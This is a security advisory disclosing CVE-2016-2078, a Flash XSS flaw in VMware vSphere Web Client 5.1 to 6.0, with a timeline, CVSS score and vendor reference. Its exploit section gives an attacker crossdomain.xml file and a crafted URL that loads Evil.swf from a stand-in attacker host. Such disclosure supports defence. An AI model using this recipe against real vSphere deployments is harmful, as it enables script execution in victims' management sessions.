VMWare vSphere Web Client Flash XSS

[apparitionsec () gmail com]

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/VMWARE-VSPHERE-FLASH-XSS.txt

[+] ISR: apparitionsec




Vendor:
===============
www.vmware.com



Product:
====================================
VMWare vSphere Web Client v5.1 - 6.0

A server virtualization platform from VMware. Also referred to as a cloud operating system or virtualized data center 
platform, VMware vSphere enables
IT departments to efficiently place application workloads on the most cost-effective compute resource available

VMware vSphere includes the VMware ESX / ESXi hypervisor, a type 1 hypervisor that functions as the virtualization 
server; the VMware vCenter Server,
which manages vSphere environments; the VMware vSphere Client, which is used to install and manage virtual machines 
through the hypervisor; and
VMware VMFS, the file system component from VMware.


Vulnerability Type:
====================
Flash XSS



CVE Reference:
==============
CVE-2016-2078



Vulnerability Details:
=====================

VMWare vSphere Web Client is vulnerable to Flash based XSS through the loading of arbitrary .SWF files via 'flashvars' 
parameter. Flashvars is a
Flash Player feature that allows passing of variables to the '_root' level of a Flash movie from the hosting webpage. 
Attackers can exploit this
to call arbitrary Flash actionscript functions on the victims Flash Player client through attacker supplied SWF files 
that execute in the same
security context as that of vSphere Web Client.


e.g.


flashvars: 
'locale=en_US&localeChain=en_US&resourceModuleURLs=locales/UI-en_US.swf&resourceModuleURLs=http%3A%2F%2Fattacker-site%2FEvil.swf',



References:
============
VMSA-2016-0006

http://www.vmware.com/security/advisories/VMSA-2016-0006.html



Exploit code(s):
===============


1) Attacker server needs Flash policy file "crossdomain.xml" It grants Flash Player permission to talk to servers other 
than
the one it's hosted on. This will allow victim server ability to talk to the evil server.

e.g.

<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*.vsphere-client.com" />
    <allow-access-from domain="*vsphere-client.com" />
</cross-domain-policy>


2) Send infected linx to the victim. 

https://victim:9443/vsphere-client/ui.jsp?resourceModuleURLs=http://attacker-site/Evil.swf



Disclosure Timeline:
=================================
Vendor Notification: Jan 4, 2016
May 25, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
===============
4.2 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N



Description:
================================================
Request Method(s):        [+] GET


Vulnerable Product:       [+] VMWare 5.1 - 6.0 vsphere-client


Vulnerable Parameter(s):  [+] flashvars / resourceModuleURLs
============================================================

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use 
or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by 
reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided 
that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no 
responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security 
related information
or exploits by the author or elsewhere.

hyp3rlinx